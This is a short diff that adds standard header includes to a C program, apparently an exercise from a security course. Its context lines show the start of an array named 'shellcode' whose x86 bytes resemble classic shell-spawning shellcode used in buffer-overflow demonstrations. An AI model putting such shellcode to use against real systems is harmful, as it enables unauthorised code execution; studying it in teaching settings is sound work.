--- a/progs/C3.c	Tue Oct 11 12:23:51 2016 +0100
+++ b/progs/C3.c	Tue Oct 11 14:22:37 2016 +0100
@@ -1,3 +1,7 @@
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
 char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"